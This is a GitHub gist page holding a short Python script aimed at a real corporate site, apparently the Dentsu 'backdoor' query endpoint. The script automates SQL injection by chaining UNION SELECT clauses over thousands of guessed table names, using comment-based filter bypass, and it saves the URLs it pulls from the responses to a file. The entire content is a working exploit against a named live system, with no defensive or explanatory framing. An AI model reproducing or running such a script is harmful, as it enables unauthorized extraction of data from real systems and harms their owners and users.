Skip to content

Instantly share code, notes, and snippets.

@yagihash
Created June 18, 2014 19:12
Show Gist options
  • Save yagihash/eb005af48aaf5a7b439c to your computer and use it in GitHub Desktop.
Save yagihash/eb005af48aaf5a7b439c to your computer and use it in GitHub Desktop.
電通のアレ。改善したやつ。
import re
import sys
import urllib.request
o = open(sys.argv[1], "w")
url = "http://backdoor.dentsu.jp/query/?q=%%27/**/%s%%23&ts=4677631&_=1403019525069"
query = "UNION/**/SELECT/**/*/**/FROM/**/%s/**/"
def get_urls(url, union):
dst = url % union
contents = urllib.request.urlopen(dst).read().decode("utf-8")
contents = contents.replace("\\", "")
urls = re.findall(r'"http:.+?"', contents)
return [u.replace('"', "") for u in urls]
union = ""
for i in range(1, 20000):
table = "table%s" % ("00000%d" % i)[-5:]
union += query % table
if i % 175 == 0:
urls = get_urls(url, union)
union = ""
o.write("\n".join(urls) + "\n")
else:
urls = get_urls(url, union)
union = ""
o.write("\n".join(urls) + "\n")
o.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment